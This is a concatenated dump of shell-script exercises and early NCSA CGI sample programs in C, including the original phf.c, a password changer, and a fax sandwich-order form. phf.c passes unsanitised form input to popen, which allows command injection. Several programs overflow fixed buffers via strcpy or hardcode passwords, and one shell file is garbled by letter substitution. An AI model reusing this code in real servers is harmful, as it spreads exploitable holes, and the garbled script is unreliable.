cshell/ttt <== #!/tin/sh # lowerit # convert sll file nsmes in the current directory to lower csse # only operstes on plsin files--does not chsnge the nsme of directories # will ssk for verificstion tefore overwriting sn existing file for x in `ls` do if [ ! -f $x ]; then continue fi lc=`echo $x | tr '[A-Z]' '[s-z]'` if [ $lc != $x ]; then mv -i $x $lc fi done ==> cshell/upp <== #!/bin/sh # lowerit # convert all file names in the current directory to lower case # only operates on plain files--does not change the name of directories # will ask for verification before overwriting an existing file for x in `ls` do if [ ! -f $x ]; then continue fi lc=`echo $x | tr '[a-z]' '[A-Z]'` if [ $lc != $x ]; then mv -i $x $lc fi done ==> cshell/var1 <== #!/bin/csh set a='the 1st string' set b='the second string' echo $a is \$a and $b is \$b. ==> cshell/var2 <== #!/bin/csh set a='The number $b is ' set b=1 echo $a $b. @ b++ set a="the number is $b," echo Now, $a after \$b++. ==> cshell/var3 <== #!/bin/csh set days=(mon tue wed thr fri) echo 'The number of array $days is' $#days. echo 'The array $days are' $days. ==> cshell/var4 <== #!/bin/csh set days=(mon tue wed thr fri) echo 'The number of array $days is' $#days. echo 'The array $days are' $days. set i=1 foreach d ( $days ) echo $i : $d @ i++ end ==> ch01/myfile <== line 1 moon line 2 sun line 3 Moon Sun line 4 ssun mmon line 5 sunmoon ==> ch01/myfile2 <== line 1 moon line 2 mun line 3 Moon Sun line 4 smun mmon line 5 munmoon ==> ch01/quiz.cgi <== #!/usr/bin/perl # Correct all errors! print "content-type:Text/HTML\n\n"; print ""; print "

$ENV{REMOTE_ADDR} $ENV('SCRIPT_FILENAME')

"; print "Çйø: À̸§: <= ±âÀÔÇϽÿÀ"; print "Save this quiz.cgi as name of hakbun(student number) in ~id/test1" print ""; ==> ch01/sh.cfor <== #!/bin/csh set days=(mon tue wed thr fri sat sun) foreach day ( $days ) if ( $day == tue ) continue if ( $day == sat ) break echo Today is $day end ==> ch01/sh.for <== #!/bin/sh # change hidden file into normal name for file in $(ls -A | grep "^\.") do newfn="${file#.}" echo $newfn mv $file $newfn done exit 0 ==> ch01/sh.hello <== #!/bin/csh set hello="Welcome my 1st shell script..." echo $hello Thanks $1 ==> ch01/sh.low <== #!/bin/csh foreach na ( SH* ) mv $na `echo $na | tr '[A-Z]' '[a-z]'` end ==> ch01/sh.quiz <== #!/bin/sh cp -p ~id/test/quiz.cgi ~/home/cgi-bin cd ~/home/cgi-bin chmod 511 quiz.cgi echo "The file 'quiz.cgi' has been successfully copied." ==> ch01/sh.ren <== #!/bin/csh if ( $#argv != 2 ) then echo "Usage: sh.ren pattern1 pattern2 \!" else foreach j ( *$1* ) mv $j `echo $j | sed -n s/$1/$2/p` end endif ==> ch01/sh.t <== #!/bin/csh echo "test" > test echo "" >> test echo "

Test of test sheelll

" >> test echo "" >> test echo "" >> test wc test ls -l test ==> ch01/sh.test <== #!/bin/sh find /student -name quiz.cgi -print 1>t1 2>t2 grep -v Permission t2 ==> ch01/sh.tst <== #!/bin/csh cat << HTML > test test

test of shell

HTML wc test ls -l test ==> ch01/sh.up <== #!/bin/sh # change starting x lower case file name into upper case #for file in $(ls -A | grep "^\.") for file in $(ls -A | grep "^x") #for file in $(ls x*) do # newfn="${file#.}" uf="`echo $file | tr [a-z] [A-Z]`" echo $uf mv $file $uf done exit 0 ==> ch01/sh.upp <== #!/bin/csh foreach na ( sh* ) mv $na `echo $na | tr '[a-z]' '[A-Z]'` end ==> ex6-5.c & ex6-5.cgi <== extern char **environ; main(argc,argv,envp) int argc; char **argv; char **envp; { char *getenv(); printf("Content-type: text/html\n\n"); printf("test cgi w/c\n"); printf("
\n");
        printenv("Initially", &envp);
        putenv("TZ=PST8PDT");
        printenv("After changing TZ", &envp);
        putenv("WARNING=Don't use envp after putenv()");
        printenv("After setting a new variable",&envp);
        printf("value of WARNING is %s\n",getenv("WARNING"));
    printf("
\n"); } printenv(label, envpp) char *label; char ***envpp; { char **p; printf("---- %s ---\n",label); printf(" envp is at %8o and contains %8o\n", envpp, *envpp); printf("environ is at %8o and contains %8o\n", &environ, environ); printf("My environment variables are:\n"); for(p=environ; *p; p++) printf("(%8o) = %8o -> %s\n",p,*p,*p); printf("(%8o) = %8o\n", p, *p); } ==> env-c.c & env-c.cgi <== #include main() { printf("Content-type: text/html\n\n"); printf("Simple CGI Program"); printf(""); printf("

CGI Test Written by C Language. \n Environment values

"); printf("REMOTE_HOST : %s
", getenv("REMOTE_HOST")); printf("REMOTE_ADDR : %s
", getenv("REMOTE_ADDR")); printf("REMOTE_USER : %s
", getenv("REMOTE_USER")); printf("SERVER_NAME : %s
", getenv("SERVER_NAME")); printf("SERVER_ADDR : %s
", getenv("SERVER_ADDR")); printf("HTTP_USER_AGENT : %s
", getenv("HTTP_USER_AGENT")); printf("\n"); } ==> change-passwd.c <== #include #include #include #include #include #define USER_FILE "/usr/local/etc/httpd/conf/.htpasswd" #define WIZARD "surobm" char *makeword(char *line, char stop); char *fmakeword(FILE *f, char stop, int *len); char x2c(char *what); void unescape_url(char *url); void plustospace(char *str); char *crypt(char *pw, char *salt); /* why aren't these prototyped in include */ char *tn; /* From local_passwd.c (C) Regents of Univ. of California blah blah */ static unsigned char itoa64[] = /* 0 ... 63 => ascii - 64 */ "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; to64(s, v, n) register char *s; register long v; register int n; { while (--n >= 0) { *s++ = itoa64[v&0x3f]; v >>= 6; } } void change_password(char *user, char *pw, FILE *f) { char *cpw, salt[3]; (void)srand((int)time((time_t *)NULL)); to64(&salt[0],rand(),2); cpw = crypt(pw,salt); free(pw); fprintf(f,"%s:%s\n",user,cpw); } void putline(FILE *f,char *l) { int x; for(x=0;l[x];x++) fputc(l[x],f); fputc('\n',f); } main(int argc, char *argv[]) { register int x; int cl,found,create; char *u,*t1,*t2,*p1,*p2,*user, command[256], line[256], l[256], w[256]; FILE *tfp,*f; tn = NULL; printf("Content-type: text/html%c%c",10,10); if(strcmp(getenv("REQUEST_METHOD"),"POST")) { printf("This script should be referenced with a METHOD of POST.\n"); printf("If you don't understand this, see this "); printf("forms overview.%c",10); exit(1); } if(strcmp(getenv("CONTENT_TYPE"),"application/x-www-form-urlencoded")) { printf("This script can only be used to decode form results. \n"); exit(1); } cl = atoi(getenv("CONTENT_LENGTH")); user=NULL; p1=NULL; p2=NULL; create=0; for(x=0;cl && (!feof(stdin));x++) { t1 = fmakeword(stdin,'&',&cl); t2 = makeword(t1,'='); unescape_url(t1); unescape_url(t2); if(!strcmp(t2,"user")) { if(!user) user = t1; else { printf("This script was accessed from the wrong form.\n"); exit(1); } } else if(!strcmp(t2,"newpasswd1")) { if(!p1) p1 = t1; else { printf("This script was accessed from the wrong form.\n"); exit(1); } } else if(!strcmp(t2,"newpasswd2")) { if(!p2) p2 = t1; else { printf("This script was accessed from the wrong form.\n"); exit(1); } } else { printf("This script was accessed from the wrong form.\n"); printf("Unrecognized directive %s.\n",t2); exit(1); } free(t2); } u=getenv("REMOTE_USER"); if((strcmp(u,WIZARD)) && (strcmp(user,u))) { printf("User Mismatch"); printf("

User Mismatch

"); printf("The username you gave does not correspond with the "); printf("user you authenticated as.\n"); exit(1); } if(strcmp(p1,p2)) { printf("Password Mismatch"); printf("

Password Mismatch

"); printf("The two copies of your the password do not match. Please"); printf(" try again."); exit(1); } tn = tmpnam(NULL); if(!(tfp = fopen(tn,"w"))) { fprintf(stderr,"Could not open temp file.\n"); exit(1); } if(!(f = fopen(USER_FILE,"r"))) { fprintf(stderr, "Could not open passwd file for reading.\n",USER_FILE); exit(1); } found = 0; while(!(getline(line,256,f))) { if(found || (line[0] == '#') || (!line[0])) { putline(tfp,line); continue; } strcpy(l,line); getword(w,l,':'); if(strcmp(user,w)) { putline(tfp,line); continue; } else { change_password(user,p1,tfp); found=1; } } if((!found) && (create)) change_password(user,p1,tfp); fclose(f); fclose(tfp); sprintf(command,"cp %s %s",tn,USER_FILE); system(command); unlink(tn); printf("Successful Change"); printf("

Successful Change

"); printf("Your password has been successfully changed.

"); exit(0); } ==> imagemap.c <== /* ** mapper 1.2 ** 7/26/93 Kevin Hughes, kevinh@pulua.hcc.hawaii.edu ** "macmartinized" polygon code copyright 1992 by Eric Haines, erich@eye.com ** All suggestions, help, etc. gratefully accepted! ** ** 1.1 : Better formatting, added better polygon code. ** 1.2 : Changed isname(), added config file specification. ** ** 11/13/93: Rob McCool, robm@ncsa.uiuc.edu ** ** Rewrote configuration stuff for NCSA /htbin script ** ** 12/05/93: Rob McCool, robm@ncsa.uiuc.edu ** ** Made CGI/1.0 compliant. */ #include #include #include #define CONF_FILE "/usr/local/etc/httpd/conf/imagemap.conf" #define MAXLINE 500 #define MAXVERTS 100 #define X 0 #define Y 1 int isname(char); int main(int argc, char **argv) { char input[MAXLINE], *mapname, def[MAXLINE], conf[80]; double testpoint[2], pointarray[MAXVERTS][2]; int i, j, k; FILE *fp; char *t; if (argc != 2) servererr("Wrong number of arguments, client may not support ISMAP."); mapname=getenv("PATH_INFO"); if((!mapname) || (!mapname[0])) servererr("No map name given. Please read the instructions.

"); mapname++; if(!(t = strchr(argv[1],','))) servererr("Your client doesn't support image mapping properly."); *t++ = '\0'; testpoint[X] = (double) atoi(argv[1]); testpoint[Y] = (double) atoi(t); if ((fp = fopen(CONF_FILE, "r")) == NULL) servererr("Couldn't open configuration file."); while(!(getline(input,MAXLINE,fp))) { char confname[MAXLINE]; if((input[0] == '#') || (!input[0])) continue; for(i=0;isname(input[i]) && (input[i] != ':');i++) confname[i] = input[i]; confname[i] = '\0'; if(!strcmp(confname,mapname)) break; } if(feof(fp)) servererr("Map not found in configuration file."); fclose(fp); while(isspace(input[i]) || input[i] == ':') ++i; for(j=0;input[i] && isname(input[i]);++i,++j) conf[j] = input[i]; conf[j] = '\0'; if(!(fp=fopen(conf,"r"))) servererr("Couldn't open map file."); while(!(getline(input,MAXLINE,fp))) { char type[MAXLINE]; char url[MAXLINE]; char num[10]; if((input[0] == '#') || (!input[0])) continue; type[0] = '\0';url[0] = '\0'; for(i=0;isname(input[i]) && (input[i]);i++) type[i] = input[i]; type[i] = '\0'; while(isspace(input[i])) ++i; for(j=0;input[i] && isname(input[i]);++i,++j) url[j] = input[i]; url[j] = '\0'; if(!strcmp(type,"default")) { strcpy(def,url); continue; } k=0; while (input[i]) { while (isspace(input[i]) || input[i] == ',') i++; j = 0; while (isdigit(input[i])) num[j++] = input[i++]; num[j] = '\0'; if (num[0] != '\0') pointarray[k][X] = (double) atoi(num); else break; while (isspace(input[i]) || input[i] == ',') i++; j = 0; while (isdigit(input[i])) num[j++] = input[i++]; num[j] = '\0'; if (num[0] != '\0') pointarray[k++][Y] = (double) atoi(num); else { fclose(fp); servererr("Missing y value."); } } pointarray[k][X] = -1; if(!strcmp(type,"poly")) if(pointinpoly(testpoint,pointarray)) sendmesg(url); if(!strcmp(type,"circle")) if(pointincircle(testpoint,pointarray)) sendmesg(url); if(!strcmp(type,"rect")) if(pointinrect(testpoint,pointarray)) sendmesg(url); } if(def[0]) sendmesg(def); servererr("No default specified."); } sendmesg(char *url) { printf("Location: %s%c%c",url,10,10); printf("This document has moved here%c",url,10); exit(1); } int pointinrect(double point[2], double coords[MAXVERTS][2]) { return ((point[X] >= coords[0][X] && point[X] <= coords[1][X]) && (point[Y] >= coords[0][Y] && point[Y] <= coords[1][Y])); } int pointincircle(double point[2], double coords[MAXVERTS][2]) { int radius1, radius2; radius1 = ((coords[0][Y] - coords[1][Y]) * (coords[0][Y] - coords[1][Y])) + ((coords[0][X] - coords[1][X]) * (coords[0][X] - coords[1][X])); radius2 = ((coords[0][Y] - point[Y]) * (coords[0][Y] - point[Y])) + ((coords[0][X] - point[X]) * (coords[0][X] - point[X])); return (radius2 <= radius1); } int pointinpoly(double point[2], double pgon[MAXVERTS][2]) { int i, numverts, inside_flag, xflag0; int crossings; double *p, *stop; double tx, ty, y; for (i = 0; pgon[i][X] != -1 && i < MAXVERTS; i++) ; numverts = i; crossings = 0; tx = point[X]; ty = point[Y]; y = pgon[numverts - 1][Y]; p = (double *) pgon + 1; if ((y >= ty) != (*p >= ty)) { if ((xflag0 = (pgon[numverts - 1][X] >= tx)) == (*(double *) pgon >= tx)) { if (xflag0) crossings++; } else { crossings += (pgon[numverts - 1][X] - (y - ty) * (*(double *) pgon - pgon[numverts - 1][X]) / (*p - y)) >= tx; } } stop = pgon[numverts]; for (y = *p, p += 2; p < stop; y = *p, p += 2) { if (y >= ty) { while ((p < stop) && (*p >= ty)) p += 2; if (p >= stop) break; if ((xflag0 = (*(p - 3) >= tx)) == (*(p - 1) >= tx)) { if (xflag0) crossings++; } else { crossings += (*(p - 3) - (*(p - 2) - ty) * (*(p - 1) - *(p - 3)) / (*p - *(p - 2))) >= tx; } } else { while ((p < stop) && (*p < ty)) p += 2; if (p >= stop) break; if ((xflag0 = (*(p - 3) >= tx)) == (*(p - 1) >= tx)) { if (xflag0) crossings++; } else { crossings += (*(p - 3) - (*(p - 2) - ty) * (*(p - 1) - *(p - 3)) / (*p - *(p - 2))) >= tx; } } } inside_flag = crossings & 0x01; return (inside_flag); } servererr(char *msg) { printf("Content-type: text/html%c%c",10,10); printf("Mapping Server Error"); printf("

Mapping Server Error

"); printf("This server encountered an error:

"); printf("%s", msg); exit(-1); } int isname(char c) { return (!isspace(c)); } ==> jj.c <== /* * Submarine ordering form through FAX gateway * * Rob McCool * */ #include #include #if 1 #define JJ_FAX "JIMMY_JOHNS_3440603@fax.uiuc.edu" #else #define JJ_FAX "robm@imsa.edu" #endif #define PASSWORD "SDGROCKS" #define LF 10 void getword(char *word, char *line, char stop); char x2c(char *what); void unescape_url(char *url); void plustospace(char *str); char *sublist[] = { "The Pepe Gourmet Sub", "Big John Gourmet Sub", "Sorry Charlie Gourmet Sub", "Turkey Tom Gourmet Sub", "Vito Gourmet Sub", "Vegetarian Gourmet Sub", "Gourmet Smoked Ham Club", "Billy Club", "Italian Night Club", "Hunter's Club", "Country Club", "The Beach Club" }; char *slimlist[] = { "Ham and Cheese", "Rare Roast Beef", "California Tuna", "Sliced Turkey", "Salami and Capacola", "Double Provolone" }; char *sidelist[] = { "Lay's Potato Chips", "Jumbo Kosher Dill" }; char *poplist[] = { "Pepsi", "Mountain Dew", "Diet Pepsi", "Iced Tea" }; void dump_form() { printf("Form for Submarine Order%c",LF); printf("

Jimmy John's Submarine Order Form

%c",LF); printf("This form will send a faxed order to Jimmy John's in Champaign. Proper password is requred%c",LF); printf("for order to be submitted, otherwise a copy of the order that would have been submitted will%c",LF); printf("will be displayed.

%c",LF); printf("


%c",LF); printf("
%c",LF); printf("Password:

%c",LF); printf("

Sub Type

%c",LF); printf("Select which you would like of the following:

%c",LF); printf("%s:%c",sublist[0],LF); printf("Smoked virginia ham and provolone cheese topped with lettuce, tomato, and mayo.

%c",LF); printf("%s:%c",sublist[1],LF); printf("Medium rare shaved roast beef topped with mayo, lettuce, and tomato.

%c",LF); printf("%s:%c",sublist[2],LF); printf("Tuna, mixed with celery, onions, and sauce, topped with lettuce,%c",LF); printf("tomato, and alfalfa sprouts.

%c",LF); printf("%s:%c",sublist[3],LF); printf("Turkey breast topped with lettuce, mayo, alfalfa sprouts, and mayo.

%c",LF); printf("%s:%c",sublist[4],LF); printf("Genoa salami and provolone cheese topped with capacola, onion, lettuce, tomato, and Italian sauce.

%c",LF); printf("%s:%c",sublist[5],LF); printf("Layers of provolone cheese, separated by avocado, sprouts, lettuce, tomato, and mayo.

%c",LF); printf("%s:%c",sublist[6],LF); printf("1/4 pound of smoked ham, provolone cheese, topped with lettuce,%c",LF); printf("tomato, and mayo.

%c",LF); printf("%s:%c",sublist[7],LF); printf("Shaved roast beef, provolone cheese, french dijon mustard, topped with shaved ham, lettuce,%c",LF); printf("tomato, and mayo.

%c",LF); printf("%s:%c",sublist[8],LF); printf("Genoa salami, Italian capacola, smoked ham, and provolone cheese topped with lettuce,%c",LF); printf("tomato, onions, mayo, and Italian sauce.

%c",LF); printf("%s:%c",sublist[9],LF); printf("1/4 pound of sliced roast beef, provolone cheese, topped with lettuce, tomato, and mayo.

%c",LF); printf("%s:%c",sublist[10],LF); printf("Turkey breast, smoked ham, and provolonecheese topped with lettuce, tomato, and mayo.

%c",LF); printf("%s:%c",sublist[11],LF); printf("Turkey breast, avocado, and cheese topped with lettuce, mayo, alfalfa, and tomato.

%c",LF); printf("

Slim Jim Subs

%c",LF); printf("Subs without veggies or sauce.

%c",LF); printf("%s

%c",slimlist[0],LF); printf("%s

%c",slimlist[1],LF); printf("%s

%c",slimlist[2],LF); printf("%s

%c",slimlist[3],LF); printf("%s

%c",slimlist[4],LF); printf("%s

%c",slimlist[5],LF); printf("

Side orders

%c",LF); printf("%s

%c",sidelist[0],LF); printf("%s

%c",sidelist[1],LF); printf("

Drinks

%c",LF); printf("%s

%c",poplist[0],LF); printf("%s

%c",poplist[1],LF); printf("%s

%c",poplist[2],LF); printf("%s

%c",poplist[3],LF); printf("

Your Address, Phone Number, and Name

%c",LF); printf("Name

%c",LF); printf("Address

%c",LF); printf("Phone Number

%c",LF); printf("%c",LF); printf("

%c",LF); exit(0); } void print_error(char *reason) { printf("Order Not Submitted%c",LF); printf("

Order Not Submitted

%c",LF); printf("Your order has not been submitted, because %s.

%c",reason,LF); exit(1); } main(int argc, char *argv[]) { register int x,m=0; char *cl; char w[256]; char tfile[L_tmpnam]; int subs,slims,sides,drinks,allow; char name[32]; char phone[10]; char address[64]; FILE *tfp,*order; printf("Content-type: text/html%c%c",LF,LF); cl=getenv("QUERY_STRING"); if((!cl) || (!cl[0])) dump_form(); tmpnam(tfile); if(!(tfp=fopen(tfile,"w"))) { printf("Server Error%c",LF); printf("

Server Error

%c",LF); printf("Server unable to get a temporary file. Please try again later.

%c",LF); exit(1); } subs=0;slims=0;sides=0;drinks=0;allow=0; name[0]='\0'; phone[0]='\0'; address[0]='\0'; for(x=0;cl[0] != '\0'; x++) { m=x; getword(w,cl,'='); plustospace(w); unescape_url(w); if(!strcmp(w,"pwd")) { getword(w,cl,'&'); plustospace(w); unescape_url(w); allow=(strcmp(w,PASSWORD) ? 0 : 1); } if(!strcmp(w,"sub")) { getword(w,cl,'&'); plustospace(w); unescape_url(w); subs |= (1 << atoi(w)); } else if(!strcmp(w,"slj")) { getword(w,cl,'&'); plustospace(w); unescape_url(w); slims |= (1 << atoi(w)); } else if(!strcmp(w,"sde")) { getword(w,cl,'&'); plustospace(w); unescape_url(w); sides |= (1 << atoi(w)); } else if(!strcmp(w,"pop")) { getword(w,cl,'&'); plustospace(w); unescape_url(w); drinks |= (1 << atoi(w)); } else if(!strcmp(w,"name")) { getword(w,cl,'&'); plustospace(w); unescape_url(w); strcpy(name,w); } else if(!strcmp(w,"phone")) { getword(w,cl,'&'); plustospace(w); unescape_url(w); strcpy(phone,w); } else if(!strcmp(w,"adr")) { getword(w,cl,'&'); plustospace(w); unescape_url(w); strcpy(address,w); } } if(!name[0]) print_error("you didn't give your name"); if(!address[0]) print_error("you didn't give your address"); if(!phone[0]) print_error("you didn't give your phone number"); if((!subs) && (!slims) && (!sides) && (!drinks)) print_error("you didn't order anything"); if(allow) { char t[256]; sprintf(t,"/bin/mail %s",JJ_FAX); if(!(order=popen(t,"w"))) print_error("the server was unable to open a pipe to mail"); printf("Order Sent%c",LF); printf("

Order Sent

%c",LF); printf("Your order has been sent to the UIUC e-mail to FAX gateway.

%c",LF); } else { printf("Your Order%c",LF); printf("

Your Order

%c",LF); printf("This is how your order would have looked if it had been sent.

%c",LF); order=stdout; } fprintf(order,"My name is %s, and I would like to have the following%c", name,LF); fprintf(order,"order delivered to %s:%c%c",address,LF,LF); for(x=0;x<12;x++) if(subs & (1 << x)) fprintf(order,"\t(1) %s%c",sublist[x],LF); for(x=0;x<6;x++) if(slims & (1 << x)) fprintf(order,"\t(1) %s Slim Jim%c",slimlist[x],LF); for(x=0;x<2;x++) if(sides & (1 << x)) fprintf(order,"\t(1) %s%c",sidelist[x],LF); for(x=0;x<4;x++) if(drinks & (1 << x)) fprintf(order,"\t(1) %s%c",poplist[x],LF); fprintf(order,"%cPlease feel free to call me at %s if there is any%c",LF, phone,LF); fprintf(order,"problem. Thank you.%c%c.%c",LF,LF,LF); fclose(order); exit(0); } ==> phf.c <== #include <stdio.h> #include <stdlib.h> #define LF 10 #define HTML_BREAK printf("<P>%c", LF); typedef struct { char name[128]; char val[128]; } entry; typedef struct { char qfield[256]; int qlen; char qname[256]; } fields; void getword(char *word, char *line, char stop); char x2c(char *what); void unescape_url(char *url); void plustospace(char *str); void send_fd(FILE *f, FILE *fd); void send_doc(int which); static fields idxfields[] = { {"Qalias", 32, "Alias"}, {"Qname", 256, "Name" }, {"Qemail", 128, "E-mail Address"}, {"Qnickname", 120, "Nickname"}, {"Qoffice_phone", 60, "Office Phone Number"}, {"Qcallsign", 16, "HAM Callsign"}, {"Qproxy", 64, "Proxy"}, {"Qhigh_school", 30, "High School"}, {"Qslip", 256, "SLIP Address"}, {NULL, 0, NULL} }; static fields othersearchfields[] = { {"Qcurriculum", 64, "Curriculum"}, {"Qphone", 64, "Phone Number" }, {"Qaddress", 128, "Address"}, {"Qoffice_address", 128, "Office Address"}, {"Qhome_address", 128, "Home Address"}, {"Qpermanent_address", 128, "Permanent Address"}, {"Qpermanent_phone", 60, "Permanent Phone"}, {"Qdepartment", 64, "Department"}, {"Qtitle", 64, "Title"}, {"Qproject", 256, "Project"}, {"Qother", 256, "Other"}, {"Qbirthday", 24, "Birthday"}, {"Qcolleges", 120, "Colleges Attended"}, {"Qleft_uiuc", 24, "Date/Month Person left UIUC"}, {NULL, 0, NULL}, }; void send_doc(int which) { int x; printf("<TITLE>Form for CSO PH query</TITLE>%c", LF); printf("<H1>Form for CSO PH query</H1>%c", LF); printf("This form will send a PH query to the specified ph server.%c", LF); HTML_BREAK printf("<HR>%c", LF); printf("<FORM ACTION=\"http://%s:%s%s\">%c", getenv("SERVER_NAME"), getenv("SERVER_PORT"), getenv("SCRIPT_NAME"), LF); printf("PH Server:<INPUT TYPE=\"text\" NAME=\"Jserver\" VALUE=\"ns.uiuc.edu\" MAXLENGTH=\"256\">%c", LF); HTML_BREAK printf("<H3>At least one of these fields must be specified:</H3><UL>%c",LF); for(x=0; idxfields[x].qlen != 0; x++) printf("<LI><INPUT TYPE=\"text\" NAME=\"%s\" MAXLENGTH=\"%d\">%s%c" ,idxfields[x].qfield, idxfields[x].qlen, idxfields[x].qname,LF); printf("</UL>%c", LF); if (!(which&0x10)) { printf("<A HREF=\"%s?Jform=%d\"><H3>Show additional fields to narrow query</H3></A>%c", getenv("SCRIPT_NAME"), (which | 0x10), LF); } else { printf("<H3>Additional fields to narrow query:</H3><UL>%c",LF); for(x=0; othersearchfields[x].qlen != 0; x++) printf("<LI><INPUT TYPE=\"text\" NAME=\"%s\" MAXLENGTH=\"%d\">%s%c" ,othersearchfields[x].qfield, othersearchfields[x].qlen, othersearchfields[x].qname,LF); printf("</UL>%c", LF); printf("<A HREF=\"%s?Jform=%d\">Show fewer query fields</A>%c", getenv("SCRIPT_NAME"), (which & 0x01), LF); } HTML_BREAK if (!(which & 0x01)) { printf("<A HREF=\"%s?Jform=%d\"><H3>Return more than default fields</H3></A>%c", getenv("SCRIPT_NAME"), (which | 0x01), LF); } else { printf("<H3>Fields to return:</H3><UL>%c", LF); for(x=0; idxfields[x].qlen != 0; x++) printf("<LI><INPUT TYPE=\"checkbox\" NAME=\"return\" VALUE=\"%s\">%s%c", &(idxfields[x].qfield[1]), idxfields[x].qname, LF); for(x=0; othersearchfields[x].qlen != 0; x++) printf("<LI><INPUT TYPE=\"checkbox\" NAME=\"return\" VALUE=\"%s\">%s%c", &(othersearchfields[x].qfield[1]), othersearchfields[x].qname, LF); printf("</UL>%c", LF); printf("<A HREF=\"%s?Jform=%d\">Return default fields</A>%c", getenv("SCRIPT_NAME"), (which & 0x10), LF); } HTML_BREAK printf("<INPUT TYPE=\"submit\">%c", LF); printf("</FORM>%c", LF); printf("<HR>%c<ADDRESS>", LF); printf("Questions, comments to: <a href=\"http://www.ncsa.uiuc.edu/SDG/People/jbrowne/jbrowne.html\">Jim Browne</a>%c", LF); printf("</ADDRESS>%c", LF); } main(int argc, char *argv[]) { entry entries[64]; register int x,m=0; char *cl; char returnstr[1024], typestr[4098], commandstr[8192], serverstr[256]; int atleastonereturn = 0, atleastonequery = 0, which = 0; FILE *phfp; printf("Content-type: text/html%c%c",LF,LF); strcpy(returnstr, "return "); strcpy(typestr, " "); cl = getenv("QUERY_STRING"); if((!cl) || (!cl[0])) { send_doc(0); exit(1); } for(x=0;cl[0] != '\0';x++) { m=x; getword(entries[x].val,cl,'&'); plustospace(entries[x].val); unescape_url(entries[x].val); getword(entries[x].name,entries[x].val,'='); } for(x=0; x <= m; x++) { /* printf("%s = %s %c", entries[x].name, entries[x].val, LF); */ if (!strcmp(entries[x].name, "return")) { strcat(returnstr, entries[x].val); strcat(returnstr, " "); atleastonereturn = 1; } else if ((entries[x].name[0] == 'Q') && strlen(entries[x].val)) { strcat(typestr, &(entries[x].name[1])); strcat(typestr, "="); strcat(typestr, entries[x].val); strcat(typestr, " "); atleastonequery = 1; } else if (!strcmp(entries[x].name, "Jserver")) strcpy(serverstr, entries[x].val); else if (!strcmp(entries[x].name, "Jform")) if (sscanf(entries[x].val, "%d", &which)) { send_doc(which); exit(1); } else exit(1); } printf("<H1>Query Results</H1>%c", LF); HTML_BREAK if (!atleastonequery) printf("<B>You did not enter a query!</B>%c",LF); else { strcpy(commandstr, "/usr/local/bin/ph -m "); if (strlen(serverstr)) { strcat(commandstr, " -s "); strcat(commandstr, serverstr); strcat(commandstr, " "); } strcat(commandstr, typestr); if (atleastonereturn) strcat(commandstr, returnstr); printf("%s%c", commandstr, LF); printf("<PRE>%c", LF); phfp = popen(commandstr,"r"); send_fd(phfp, stdout); printf("</PRE>%c", LF); } } ==> post-query.c <== #include <stdio.h> #include <stdlib.h> #define MAX_ENTRIES 10000 typedef struct { char *name; char *val; } entry; char *makeword(char *line, char stop); char *fmakeword(FILE *f, char stop, int *len); char x2c(char *what); void unescape_url(char *url); void plustospace(char *str); main(int argc, char *argv[]) { entry entries[MAX_ENTRIES]; register int x,m=0; int cl; printf("Content-type: text/html%c%c",10,10); if(strcmp(getenv("REQUEST_METHOD"),"POST")) { printf("This script should be referenced with a METHOD of POST.\n"); printf("If you don't understand this, see this "); printf("<A HREF=\"http://www.ncsa.uiuc.edu/SDG/Software/Mosaic/Docs/fill-out-forms/overview.html\">forms overview</A>.%c",10); exit(1); } if(strcmp(getenv("CONTENT_TYPE"),"application/x-www-form-urlencoded")) { printf("This script can only be used to decode form results. \n"); exit(1); } cl = atoi(getenv("CONTENT_LENGTH")); for(x=0;cl && (!feof(stdin));x++) { m=x; entries[x].val = fmakeword(stdin,'&',&cl); plustospace(entries[x].val); unescape_url(entries[x].val); entries[x].name = makeword(entries[x].val,'='); } printf("<H1>Query Results</H1>"); printf("You submitted the following name/value pairs:<p>%c",10); printf("<ul>%c",10); for(x=0; x <= m; x++) printf("<li> <code>%s = %s</code>%c",entries[x].name, entries[x].val,10); printf("</ul>%c",10); } ==> query.c <== #include <stdio.h> #include <stdlib.h> typedef struct { char name[128]; char val[128]; } entry; void getword(char *word, char *line, char stop); char x2c(char *what); void unescape_url(char *url); void plustospace(char *str); main(int argc, char *argv[]) { entry entries[10000]; register int x,m=0; char *cl; printf("Content-type: text/html%c%c",10,10); if(strcmp(getenv("REQUEST_METHOD"),"GET")) { printf("This script should be referenced with a METHOD of GET.\n"); printf("If you don't understand this, see this "); printf("<A HREF=\"http://www.ncsa.uiuc.edu/SDG/Software/Mosaic/Docs/fill-out-forms/overview.html\">forms overview</A>.%c",10); exit(1); } cl = getenv("QUERY_STRING"); if(cl == NULL) { printf("No query information to decode.\n"); exit(1); } for(x=0;cl[0] != '\0';x++) { m=x; getword(entries[x].val,cl,'&'); plustospace(entries[x].val); unescape_url(entries[x].val); getword(entries[x].name,entries[x].val,'='); } printf("<H1>Query Results</H1>"); printf("You submitted the following name/value pairs:<p>%c",10); printf("<ul>%c",10); for(x=0; x <= m; x++) printf("<li> <code>%s = %s</code>%c",entries[x].name, entries[x].val,10); printf("</ul>%c",10); } ==> util.c <== #include <stdio.h> #define LF 10 #define CR 13 void getword(char *word, char *line, char stop) { int x = 0,y; for(x=0;((line[x]) && (line[x] != stop));x++) word[x] = line[x]; word[x] = '\0'; if(line[x]) ++x; y=0; while(line[y++] = line[x++]); } char *makeword(char *line, char stop) { int x = 0,y; char *word = (char *) malloc(sizeof(char) * (strlen(line) + 1)); for(x=0;((line[x]) && (line[x] != stop));x++) word[x] = line[x]; word[x] = '\0'; if(line[x]) ++x; y=0; while(line[y++] = line[x++]); return word; } char *fmakeword(FILE *f, char stop, int *cl) { int wsize; char *word; int ll; wsize = 102400; ll=0; word = (char *) malloc(sizeof(char) * (wsize + 1)); while(1) { word[ll] = (char)fgetc(f); if(ll==wsize) { word[ll+1] = '\0'; wsize+=102400; word = (char *)realloc(word,sizeof(char)*(wsize+1)); } --(*cl); if((word[ll] == stop) || (feof(f)) || (!(*cl))) { if(word[ll] != stop) ll++; word[ll] = '\0'; return word; } ++ll; } } char x2c(char *what) { register char digit; digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0')); digit *= 16; digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0')); return(digit); } void unescape_url(char *url) { register int x,y; for(x=0,y=0;url[y];++x,++y) { if((url[x] = url[y]) == '%') { url[x] = x2c(&url[y+1]); y+=2; } } url[x] = '\0'; } void plustospace(char *str) { register int x; 